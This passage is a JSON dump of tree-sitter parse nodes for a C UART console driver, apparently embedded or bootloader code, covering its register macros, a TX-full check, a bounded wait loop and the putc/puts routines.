35, "column": 0}, "end_point": {"row": 36, "column": 0}}, {"id": 101, "type": "#define", "text": "#define", "parent": 100, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 7}}, {"id": 102, "type": "identifier", "text": "P_UART_WFIFO", "parent": 100, "children": [], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 20}}, {"id": 103, "type": "preproc_params", "text": "(uart_base)", "parent": 100, "children": [104], "start_point": {"row": 35, "column": 20}, "end_point": {"row": 35, "column": 31}}, {"id": 104, "type": "identifier", "text": "uart_base", "parent": 103, "children": [], "start_point": {"row": 35, "column": 21}, "end_point": {"row": 35, "column": 30}}, {"id": 105, "type": "preproc_arg", "text": "P_UART(uart_base, UART_WFIFO)", "parent": 100, "children": [], "start_point": {"row": 35, "column": 33}, "end_point": {"row": 35, "column": 62}}, {"id": 106, "type": "preproc_function_def", "text": "#define P_UART_MODE(uart_base)\t\tP_UART(uart_base, UART_MODE)\n", "parent": null, "children": [107, 108, 109, 111], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 37, "column": 0}}, {"id": 107, "type": "#define", "text": "#define", "parent": 106, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 7}}, {"id": 108, "type": "identifier", "text": "P_UART_MODE", "parent": 106, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 19}}, {"id": 109, "type": "preproc_params", "text": "(uart_base)", "parent": 106, "children": [110], "start_point": {"row": 36, "column": 19}, "end_point": {"row": 36, "column": 30}}, {"id": 110, "type": "identifier", "text": "uart_base", "parent": 109, "children": [], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 29}}, {"id": 111, "type": "preproc_arg", "text": "P_UART(uart_base, UART_MODE)", "parent": 106, "children": [], "start_point": {"row": 36, "column": 32}, "end_point": {"row": 36, "column": 60}}, {"id": 112, "type": "preproc_function_def", "text": "#define P_UART_CTRL(uart_base)\t\tP_UART(uart_base, UART_CTRL)\n", "parent": null, "children": [113, 114, 115, 117], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 38, "column": 0}}, {"id": 113, "type": "#define", "text": "#define", "parent": 112, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 7}}, {"id": 114, "type": "identifier", "text": "P_UART_CTRL", "parent": 112, "children": [], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 37, "column": 19}}, {"id": 115, "type": "preproc_params", "text": "(uart_base)", "parent": 112, "children": [116], "start_point": {"row": 37, "column": 19}, "end_point": {"row": 37, "column": 30}}, {"id": 116, "type": "identifier", "text": "uart_base", "parent": 115, "children": [], "start_point": {"row": 37, "column": 20}, "end_point": {"row": 37, "column": 29}}, {"id": 117, "type": "preproc_arg", "text": "P_UART(uart_base, UART_CTRL)", "parent": 112, "children": [], "start_point": {"row": 37, "column": 32}, "end_point": {"row": 37, "column": 60}}, {"id": 118, "type": "preproc_function_def", "text": "#define P_UART_STATUS(uart_base)\tP_UART(uart_base, UART_STATUS)\n", "parent": null, "children": [119, 120, 121, 123], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 39, "column": 0}}, {"id": 119, "type": "#define", "text": "#define", "parent": 118, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 7}}, {"id": 120, "type": "identifier", "text": "P_UART_STATUS", "parent": 118, "children": [], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 21}}, {"id": 121, "type": "preproc_params", "text": "(uart_base)", "parent": 118, "children": [122], "start_point": {"row": 38, "column": 21}, "end_point": {"row": 38, "column": 32}}, {"id": 122, "type": "identifier", "text": "uart_base", "parent": 121, "children": [], "start_point": {"row": 38, "column": 22}, "end_point": {"row": 38, "column": 31}}, {"id": 123, "type": "preproc_arg", "text": "P_UART(uart_base, UART_STATUS)", "parent": 118, "children": [], "start_point": {"row": 38, "column": 33}, "end_point": {"row": 38, "column": 63}}, {"id": 124, "type": "function_definition", "text": "static int uart_tx_isfull(void)\n{\n\treturn readl(P_UART_STATUS(UART_PORT_CONS)) &\n\t\tUART_STAT_MASK_TFIFO_FULL;\n}", "parent": null, "children": [125, 126], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 45, "column": 1}}, {"id": 125, "type": "primitive_type", "text": "int", "parent": 124, "children": [], "start_point": {"row": 41, "column": 7}, "end_point": {"row": 41, "column": 10}}, {"id": 126, "type": "function_declarator", "text": "uart_tx_isfull(void)", "parent": 124, "children": [127, 128], "start_point": {"row": 41, "column": 11}, "end_point": {"row": 41, "column": 31}}, {"id": 127, "type": "identifier", "text": "uart_tx_isfull", "parent": 126, "children": [], "start_point": {"row": 41, "column": 11}, "end_point": {"row": 41, "column": 25}}, {"id": 128, "type": "parameter_list", "text": "(void)", "parent": 126, "children": [129], "start_point": {"row": 41, "column": 25}, "end_point": {"row": 41, "column": 31}}, {"id": 129, "type": "parameter_declaration", "text": "void", "parent": 128, "children": [130], "start_point": {"row": 41, "column": 26}, "end_point": {"row": 41, "column": 30}}, {"id": 130, "type": "primitive_type", "text": "void", "parent": 129, "children": [], "start_point": {"row": 41, "column": 26}, "end_point": {"row": 41, "column": 30}}, {"id": 131, "type": "return_statement", "text": "return readl(P_UART_STATUS(UART_PORT_CONS)) &\n\t\tUART_STAT_MASK_TFIFO_FULL;", "parent": 124, "children": [132], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 44, "column": 28}}, {"id": 132, "type": "binary_expression", "text": "readl(P_UART_STATUS(UART_PORT_CONS)) &\n\t\tUART_STAT_MASK_TFIFO_FULL", "parent": 131, "children": [133, 140], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 44, "column": 27}}, {"id": 133, "type": "call_expression", "text": "readl(P_UART_STATUS(UART_PORT_CONS))", "parent": 132, "children": [134, 135], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 44}}, {"id": 134, "type": "identifier", "text": "readl", "parent": 133, "children": [], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 13}}, {"id": 135, "type": "argument_list", "text": "(P_UART_STATUS(UART_PORT_CONS))", "parent": 133, "children": [136], "start_point": {"row": 43, "column": 13}, "end_point": {"row": 43, "column": 44}}, {"id": 136, "type": "call_expression", "text": "P_UART_STATUS(UART_PORT_CONS)", "parent": 135, "children": [137, 138], "start_point": {"row": 43, "column": 14}, "end_point": {"row": 43, "column": 43}}, {"id": 137, "type": "identifier", "text": "P_UART_STATUS", "parent": 136, "children": [], "start_point": {"row": 43, "column": 14}, "end_point": {"row": 43, "column": 27}}, {"id": 138, "type": "argument_list", "text": "(UART_PORT_CONS)", "parent": 136, "children": [139], "start_point": {"row": 43, "column": 27}, "end_point": {"row": 43, "column": 43}}, {"id": 139, "type": "identifier", "text": "UART_PORT_CONS", "parent": 138, "children": [], "start_point": {"row": 43, "column": 28}, "end_point": {"row": 43, "column": 42}}, {"id": 140, "type": "identifier", "text": "UART_STAT_MASK_TFIFO_FULL", "parent": 132, "children": [], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 44, "column": 27}}, {"id": 141, "type": "function_definition", "text": "void wait_uart_empty(void)\n{\n#if 0\n\twhile (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n\t\t;\n#else\n\tunsigned int count=0;\n\tdo {\n\t\tif ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n\t\t\t_udelay(4);\n\t\telse\n\t\t\tbreak;\n\t\tcount++;\n\t} while ( count < 20000);\n#endif\n}", "parent": null, "children": [142, 143], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 62, "column": 1}}, {"id": 142, "type": "primitive_type", "text": "void", "parent": 141, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 4}}, {"id": 143, "type": "function_declarator", "text": "wait_uart_empty(void)", "parent": 141, "children": [144, 145], "start_point": {"row": 47, "column": 5}, "end_point": {"row": 47, "column": 26}}, {"id": 144, "type": "identifier", "text": "wait_uart_empty", "parent": 143, "children": [], "start_point": {"row": 47, "column": 5}, "end_point": {"row": 47, "column": 20}}, {"id": 145, "type": "parameter_list", "text": "(void)", "parent": 143, "children": [146], "start_point": {"row": 47, "column": 20}, "end_point": {"row": 47, "column": 26}}, {"id": 146, "type": "parameter_declaration", "text": "void", "parent": 145, "children": [147], "start_point": {"row": 47, "column": 21}, "end_point": {"row": 47, "column": 25}}, {"id": 147, "type": "primitive_type", "text": "void", "parent": 146, "children": [], "start_point": {"row": 47, "column": 21}, "end_point": {"row": 47, "column": 25}}, {"id": 148, "type": "preproc_if", "text": "#if 0\n\twhile (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n\t\t;\n#else\n\tunsigned int count=0;\n\tdo {\n\t\tif ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n\t\t\t_udelay(4);\n\t\telse\n\t\t\tbreak;\n\t\tcount++;\n\t} while ( count < 20000);\n#endif", "parent": 141, "children": [149, 150, 151, 152, 170, 215], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 61, "column": 6}}, {"id": 149, "type": "#if", "text": "#if", "parent": 148, "children": [], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 3}}, {"id": 150, "type": "number_literal", "text": "0", "parent": 148, "children": [], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 5}}, {"id": 151, "type": "\n", "text": "\n", "parent": 148, "children": [], "start_point": {"row": 49, "column": 5}, "end_point": {"row": 50, "column": 0}}, {"id": 152, "type": "while_statement", "text": "while (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n\t\t;", "parent": 148, "children": [153], "start_point": {"row": 50, "column": 1}, "end_point": {"row": 51, "column": 3}}, {"id": 153, "type": "parenthesized_expression", "text": "(!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))", "parent": 152, "children": [154], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 60}}, {"id": 154, "type": "unary_expression", "text": "!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22))", "parent": 153, "children": [155, 156], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 59}}, {"id": 155, "type": "!", "text": "!", "parent": 154, "children": [], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 9}}, {"id": 156, "type": "parenthesized_expression", "text": "(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22))", "parent": 154, "children": [157], "start_point": {"row": 50, "column": 9}, "end_point": {"row": 50, "column": 59}}, {"id": 157, "type": "binary_expression", "text": "readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)", "parent": 156, "children": [158, 165], "start_point": {"row": 50, "column": 10}, "end_point": {"row": 50, "column": 58}}, {"id": 158, "type": "call_expression", "text": "readl(P_UART_STATUS(UART_PORT_CONS))", "parent": 157, "children": [159, 160], "start_point": {"row": 50, "column": 10}, "end_point": {"row": 50, "column": 46}}, {"id": 159, "type": "identifier", "text": "readl", "parent": 158, "children": [], "start_point": {"row": 50, "column": 10}, "end_point": {"row": 50, "column": 15}}, {"id": 160, "type": "argument_list", "text": "(P_UART_STATUS(UART_PORT_CONS))", "parent": 158, "children": [161], "start_point": {"row": 50, "column": 15}, "end_point": {"row": 50, "column": 46}}, {"id": 161, "type": "call_expression", "text": "P_UART_STATUS(UART_PORT_CONS)", "parent": 160, "children": [162, 163], "start_point": {"row": 50, "column": 16}, "end_point": {"row": 50, "column": 45}}, {"id": 162, "type": "identifier", "text": "P_UART_STATUS", "parent": 161, "children": [], "start_point": {"row": 50, "column": 16}, "end_point": {"row": 50, "column": 29}}, {"id": 163, "type": "argument_list", "text": "(UART_PORT_CONS)", "parent": 161, "children": [164], "start_point": {"row": 50, "column": 29}, "end_point": {"row": 50, "column": 45}}, {"id": 164, "type": "identifier", "text": "UART_PORT_CONS", "parent": 163, "children": [], "start_point": {"row": 50, "column": 30}, "end_point": {"row": 50, "column": 44}}, {"id": 165, "type": "parenthesized_expression", "text": "(1 << 22)", "parent": 157, "children": [166], "start_point": {"row": 50, "column": 49}, "end_point": {"row": 50, "column": 58}}, {"id": 166, "type": "binary_expression", "text": "1 << 22", "parent": 165, "children": [167, 168, 169], "start_point": {"row": 50, "column": 50}, "end_point": {"row": 50, "column": 57}}, {"id": 167, "type": "number_literal", "text": "1", "parent": 166, "children": [], "start_point": {"row": 50, "column": 50}, "end_point": {"row": 50, "column": 51}}, {"id": 168, "type": "<<", "text": "<<", "parent": 166, "children": [], "start_point": {"row": 50, "column": 52}, "end_point": {"row": 50, "column": 54}}, {"id": 169, "type": "number_literal", "text": "22", "parent": 166, "children": [], "start_point": {"row": 50, "column": 55}, "end_point": {"row": 50, "column": 57}}, {"id": 170, "type": "preproc_else", "text": "#else\n\tunsigned int count=0;\n\tdo {\n\t\tif ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n\t\t\t_udelay(4);\n\t\telse\n\t\t\tbreak;\n\t\tcount++;\n\t} while ( count < 20000);", "parent": 148, "children": [171, 172, 180], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 60, "column": 26}}, {"id": 171, "type": "#else", "text": "#else", "parent": 170, "children": [], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 52, "column": 5}}, {"id": 172, "type": "declaration", "text": "unsigned int count=0;", "parent": 170, "children": [173, 176], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 22}}, {"id": 173, "type": "sized_type_specifier", "text": "unsigned int", "parent": 172, "children": [174, 175], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 13}}, {"id": 174, "type": "unsigned", "text": "unsigned", "parent": 173, "children": [], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 9}}, {"id": 175, "type": "primitive_type", "text": "int", "parent": 173, "children": [], "start_point": {"row": 53, "column": 10}, "end_point": {"row": 53, "column": 13}}, {"id": 176, "type": "init_declarator", "text": "count=0", "parent": 172, "children": [177, 178, 179], "start_point": {"row": 53, "column": 14}, "end_point": {"row": 53, "column": 21}}, {"id": 177, "type": "identifier", "text": "count", "parent": 176, "children": [], "start_point": {"row": 53, "column": 14}, "end_point": {"row": 53, "column": 19}}, {"id": 178, "type": "=", "text": "=", "parent": 176, "children": [], "start_point": {"row": 53, "column": 19}, "end_point": {"row": 53, "column": 20}}, {"id": 179, "type": "number_literal", "text": "0", "parent": 176, "children": [], "start_point": {"row": 53, "column": 20}, "end_point": {"row": 53, "column": 21}}, {"id": 180, "type": "do_statement", "text": "do {\n\t\tif ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n\t\t\t_udelay(4);\n\t\telse\n\t\t\tbreak;\n\t\tcount++;\n\t} while ( count < 20000);", "parent": 170, "children": [210], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 60, "column": 26}}, {"id": 181, "type": "if_statement", "text": "if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n\t\t\t_udelay(4);\n\t\telse\n\t\t\tbreak;", "parent": 180, "children": [182, 204], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 58, "column": 9}}, {"id": 182, "type": "parenthesized_expression", "text": "((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)", "parent": 181, "children": [183], "start_point": {"row": 55, "column": 5}, "end_point": {"row": 55, "column": 62}}, {"id": 183, "type": "binary_expression", "text": "(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0", "parent": 182, "children": [184, 198, 199], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 61}}, {"id": 184, "type": "parenthesized_expression", "text": "(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22))", "parent": 183, "children": [185], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 56}}, {"id": 185, "type": "binary_expression", "text": "readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)", "parent": 184, "children": [186, 193], "start_point": {"row": 55, "column": 7}, "end_point": {"row": 55, "column": 55}}, {"id": 186, "type": "call_expression", "text": "readl(P_UART_STATUS(UART_PORT_CONS))", "parent": 185, "children": [187, 188], "start_point": {"row": 55, "column": 7}, "end_point": {"row": 55, "column": 43}}, {"id": 187, "type": "identifier", "text": "readl", "parent": 186, "children": [], "start_point": {"row": 55, "column": 7}, "end_point": {"row": 55, "column": 12}}, {"id": 188, "type": "argument_list", "text": "(P_UART_STATUS(UART_PORT_CONS))", "parent": 186, "children": [189], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 43}}, {"id": 189, "type": "call_expression", "text": "P_UART_STATUS(UART_PORT_CONS)", "parent": 188, "children": [190, 191], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 42}}, {"id": 190, "type": "identifier", "text": "P_UART_STATUS", "parent": 189, "children": [], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 26}}, {"id": 191, "type": "argument_list", "text": "(UART_PORT_CONS)", "parent": 189, "children": [192], "start_point": {"row": 55, "column": 26}, "end_point": {"row": 55, "column": 42}}, {"id": 192, "type": "identifier", "text": "UART_PORT_CONS", "parent": 191, "children": [], "start_point": {"row": 55, "column": 27}, "end_point": {"row": 55, "column": 41}}, {"id": 193, "type": "parenthesized_expression", "text": "(1 << 22)", "parent": 185, "children": [194], "start_point": {"row": 55, "column": 46}, "end_point": {"row": 55, "column": 55}}, {"id": 194, "type": "binary_expression", "text": "1 << 22", "parent": 193, "children": [195, 196, 197], "start_point": {"row": 55, "column": 47}, "end_point": {"row": 55, "column": 54}}, {"id": 195, "type": "number_literal", "text": "1", "parent": 194, "children": [], "start_point": {"row": 55, "column": 47}, "end_point": {"row": 55, "column": 48}}, {"id": 196, "type": "<<", "text": "<<", "parent": 194, "children": [], "start_point": {"row": 55, "column": 49}, "end_point": {"row": 55, "column": 51}}, {"id": 197, "type": "number_literal", "text": "22", "parent": 194, "children": [], "start_point": {"row": 55, "column": 52}, "end_point": {"row": 55, "column": 54}}, {"id": 198, "type": "==", "text": "==", "parent": 183, "children": [], "start_point": {"row": 55, "column": 57}, "end_point": {"row": 55, "column": 59}}, {"id": 199, "type": "number_literal", "text": "0", "parent": 183, "children": [], "start_point": {"row": 55, "column": 60}, "end_point": {"row": 55, "column": 61}}, {"id": 200, "type": "call_expression", "text": "_udelay(4)", "parent": 181, "children": [201, 202], "start_point": {"row": 56, "column": 3}, "end_point": {"row": 56, "column": 13}}, {"id": 201, "type": "identifier", "text": "_udelay", "parent": 200, "children": [], "start_point": {"row": 56, "column": 3}, "end_point": {"row": 56, "column": 10}}, {"id": 202, "type": "argument_list", "text": "(4)", "parent": 200, "children": [203], "start_point": {"row": 56, "column": 10}, "end_point": {"row": 56, "column": 13}}, {"id": 203, "type": "number_literal", "text": "4", "parent": 202, "children": [], "start_point": {"row": 56, "column": 11}, "end_point": {"row": 56, "column": 12}}, {"id": 204, "type": "else_clause", "text": "else\n\t\t\tbreak;", "parent": 181, "children": [205], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 58, "column": 9}}, {"id": 205, "type": "break_statement", "text": "break;", "parent": 204, "children": [206], "start_point": {"row": 58, "column": 3}, "end_point": {"row": 58, "column": 9}}, {"id": 206, "type": "break", "text": "break", "parent": 205, "children": [], "start_point": {"row": 58, "column": 3}, "end_point": {"row": 58, "column": 8}}, {"id": 207, "type": "update_expression", "text": "count++", "parent": 180, "children": [208, 209], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 9}}, {"id": 208, "type": "identifier", "text": "count", "parent": 207, "children": [], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 7}}, {"id": 209, "type": "++", "text": "++", "parent": 207, "children": [], "start_point": {"row": 59, "column": 7}, "end_point": {"row": 59, "column": 9}}, {"id": 210, "type": "parenthesized_expression", "text": "( count < 20000)", "parent": 180, "children": [211], "start_point": {"row": 60, "column": 9}, "end_point": {"row": 60, "column": 25}}, {"id": 211, "type": "binary_expression", "text": "count < 20000", "parent": 210, "children": [212, 213, 214], "start_point": {"row": 60, "column": 11}, "end_point": {"row": 60, "column": 24}}, {"id": 212, "type": "identifier", "text": "count", "parent": 211, "children": [], "start_point": {"row": 60, "column": 11}, "end_point": {"row": 60, "column": 16}}, {"id": 213, "type": "<", "text": "<", "parent": 211, "children": [], "start_point": {"row": 60, "column": 17}, "end_point": {"row": 60, "column": 18}}, {"id": 214, "type": "number_literal", "text": "20000", "parent": 211, "children": [], "start_point": {"row": 60, "column": 19}, "end_point": {"row": 60, "column": 24}}, {"id": 215, "type": "#endif", "text": "#endif", "parent": 148, "children": [], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 61, "column": 6}}, {"id": 216, "type": "function_definition", "text": "int uart_putc(int c)\n{\n\tif (c == '\\n')\n\t\tuart_putc('\\r');\n\n\t/* Wait until TX is not full */\n\twhile (uart_tx_isfull())\n\t\t;\n\n\twritel((char)c, P_UART_WFIFO(UART_PORT_CONS));\n\t/*wait_uart_empty();*/\n\treturn c;\n}", "parent": null, "children": [217, 218], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 76, "column": 1}}, {"id": 217, "type": "primitive_type", "text": "int", "parent": 216, "children": [], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 3}}, {"id": 218, "type": "function_declarator", "text": "uart_putc(int c)", "parent": 216, "children": [219, 220], "start_point": {"row": 64, "column": 4}, "end_point": {"row": 64, "column": 20}}, {"id": 219, "type": "identifier", "text": "uart_putc", "parent": 218, "children": [], "start_point": {"row": 64, "column": 4}, "end_point": {"row": 64, "column": 13}}, {"id": 220, "type": "parameter_list", "text": "(int c)", "parent": 218, "children": [221], "start_point": {"row": 64, "column": 13}, "end_point": {"row": 64, "column": 20}}, {"id": 221, "type": "parameter_declaration", "text": "int c", "parent": 220, "children": [222, 223], "start_point": {"row": 64, "column": 14}, "end_point": {"row": 64, "column": 19}}, {"id": 222, "type": "primitive_type", "text": "int", "parent": 221, "children": [], "start_point": {"row": 64, "column": 14}, "end_point": {"row": 64, "column": 17}}, {"id": 223, "type": "identifier", "text": "c", "parent": 221, "children": [], "start_point": {"row": 64, "column": 18}, "end_point": {"row": 64, "column": 19}}, {"id": 224, "type": "if_statement", "text": "if (c == '\\n')\n\t\tuart_putc('\\r');", "parent": 216, "children": [225], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 67, "column": 18}}, {"id": 225, "type": "parenthesized_expression", "text": "(c == '\\n')", "parent": 224, "children": [226], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 15}}, {"id": 226, "type": "binary_expression", "text": "c == '\\n'", "parent": 225, "children": [227, 228, 229], "start_point": {"row": 66, "column": 5}, "end_point": {"row": 66, "column": 14}}, {"id": 227, "type": "identifier", "text": "c", "parent": 226, "children": [], "start_point": {"row": 66, "column": 5}, "end_point": {"row": 66, "column": 6}}, {"id": 228, "type": "==", "text": "==", "parent": 226, "children": [], "start_point": {"row": 66, "column": 7}, "end_point": {"row": 66, "column": 9}}, {"id": 229, "type": "char_literal", "text": "'\\n'", "parent": 226, "children": [230, 231, 232], "start_point": {"row": 66, "column": 10}, "end_point": {"row": 66, "column": 14}}, {"id": 230, "type": "'", "text": "'", "parent": 229, "children": [], "start_point": {"row": 66, "column": 10}, "end_point": {"row": 66, "column": 11}}, {"id": 231, "type": "escape_sequence", "text": "\\n", "parent": 229, "children": [], "start_point": {"row": 66, "column": 11}, "end_point": {"row": 66, "column": 13}}, {"id": 232, "type": "'", "text": "'", "parent": 229, "children": [], "start_point": {"row": 66, "column": 13}, "end_point": {"row": 66, "column": 14}}, {"id": 233, "type": "call_expression", "text": "uart_putc('\\r')", "parent": 224, "children": [234, 235], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 17}}, {"id": 234, "type": "identifier", "text": "uart_putc", "parent": 233, "children": [], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 11}}, {"id": 235, "type": "argument_list", "text": "('\\r')", "parent": 233, "children": [236], "start_point": {"row": 67, "column": 11}, "end_point": {"row": 67, "column": 17}}, {"id": 236, "type": "char_literal", "text": "'\\r'", "parent": 235, "children": [237, 238, 239], "start_point": {"row": 67, "column": 12}, "end_point": {"row": 67, "column": 16}}, {"id": 237, "type": "'", "text": "'", "parent": 236, "children": [], "start_point": {"row": 67, "column": 12}, "end_point": {"row": 67, "column": 13}}, {"id": 238, "type": "escape_sequence", "text": "\\r", "parent": 236, "children": [], "start_point": {"row": 67, "column": 13}, "end_point": {"row": 67, "column": 15}}, {"id": 239, "type": "'", "text": "'", "parent": 236, "children": [], "start_point": {"row": 67, "column": 15}, "end_point": {"row": 67, "column": 16}}, {"id": 240, "type": "while_statement", "text": "while (uart_tx_isfull())\n\t\t;", "parent": 216, "children": [241], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 71, "column": 3}}, {"id": 241, "type": "parenthesized_expression", "text": "(uart_tx_isfull())", "parent": 240, "children": [242], "start_point": {"row": 70, "column": 7}, "end_point": {"row": 70, "column": 25}}, {"id": 242, "type": "call_expression", "text": "uart_tx_isfull()", "parent": 241, "children": [243, 244], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 24}}, {"id": 243, "type": "identifier", "text": "uart_tx_isfull", "parent": 242, "children": [], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 22}}, {"id": 244, "type": "argument_list", "text": "()", "parent": 242, "children": [], "start_point": {"row": 70, "column": 22}, "end_point": {"row": 70, "column": 24}}, {"id": 245, "type": "call_expression", "text": "writel((char)c, P_UART_WFIFO(UART_PORT_CONS))", "parent": 216, "children": [246, 247], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 73, "column": 46}}, {"id": 246, "type": "identifier", "text": "writel", "parent": 245, "children": [], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 73, "column": 7}}, {"id": 247, "type": "argument_list", "text": "((char)c, P_UART_WFIFO(UART_PORT_CONS))", "parent": 245, "children": [248, 252], "start_point": {"row": 73, "column": 7}, "end_point": {"row": 73, "column": 46}}, {"id": 248, "type": "cast_expression", "text": "(char)c", "parent": 247, "children": [249, 251], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 15}}, {"id": 249, "type": "type_descriptor", "text": "char", "parent": 248, "children": [250], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 13}}, {"id": 250, "type": "primitive_type", "text": "char", "parent": 249, "children": [], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 13}}, {"id": 251, "type": "identifier", "text": "c", "parent": 248, "children": [], "start_point": {"row": 73, "column": 14}, "end_point": {"row": 73, "column": 15}}, {"id": 252, "type": "call_expression", "text": "P_UART_WFIFO(UART_PORT_CONS)", "parent": 247, "children": [253, 254], "start_point": {"row": 73, "column": 17}, "end_point": {"row": 73, "column": 45}}, {"id": 253, "type": "identifier", "text": "P_UART_WFIFO", "parent": 252, "children": [], "start_point": {"row": 73, "column": 17}, "end_point": {"row": 73, "column": 29}}, {"id": 254, "type": "argument_list", "text": "(UART_PORT_CONS)", "parent": 252, "children": [255], "start_point": {"row": 73, "column": 29}, "end_point": {"row": 73, "column": 45}}, {"id": 255, "type": "identifier", "text": "UART_PORT_CONS", "parent": 254, "children": [], "start_point": {"row": 73, "column": 30}, "end_point": {"row": 73, "column": 44}}, {"id": 256, "type": "return_statement", "text": "return c;", "parent": 216, "children": [257], "start_point": {"row": 75, "column": 1}, "end_point": {"row": 75, "column": 10}}, {"id": 257, "type": "identifier", "text": "c", "parent": 256, "children": [], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 9}}, {"id": 258, "type": "function_definition", "text": "int uart_puts(const char *s)\n{\n\twhile (*s)\n\t\tuart_putc(*s++);\n\treturn 1;\n}", "parent": null, "children": [259, 260], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 83, "column": 1}}, {"id": 259, "type": "primitive_type", "text": "int", "parent": 258, "children": [], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 78, "column": 3}}, {"id": 260, "type": "function_declarator", "text": "uart_puts(const char *s)", "parent": 258, "children": [261, 262], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 28}}, {"id": 261, "type": "identifier", "text": "uart_puts", "parent": 260, "children": [], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 13}}, {"id": 262, "type": "parameter_list", "text": "(const char *s)", "parent": 260, "children": [263], "start_point": {"row": 78, "column": 13}, "end_point": {"row": 78, "column": 28}}, {"id": 263, "type": "parameter_declaration", "text": "const char *s", "parent": 262, "children": [264, 265], "start_point": {"row": 78, "column": 14}, "end_point": {"row": 78, "column": 27}}, {"id": 264, "type": "primitive_type", "text": "char", "parent": 263, "children": [], "start_point": {"row": 78, "column": 20}, "end_point": {"row": 78, "column": 24}}, {"id": 265, "type": "pointer_declarator", "text": "*s", "parent": 263, "children": [266, 267], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 27}}, {"id": 266, "type": "*", "text": "*", "parent": 265, "children": [], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 26}}, {"id": 267, "type": "identifier", "text": "s", "parent": 265, "children": [], "start_point": {"row": 78, "column": 26}, "end_point": {"row": 78, "column": 27}}, {"id": 268, "type": "while_statement", "text": "while (*s)\n\t\tuart_putc(*s++);", "parent": 258, "children": [269], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 81, "column": 18}}, {"id": 269, "type": "parenthesized_expression", "text": "(*s)", "parent": 268, "children": [270], "start_point": {"row": 80, "column": 7}, "end_point": 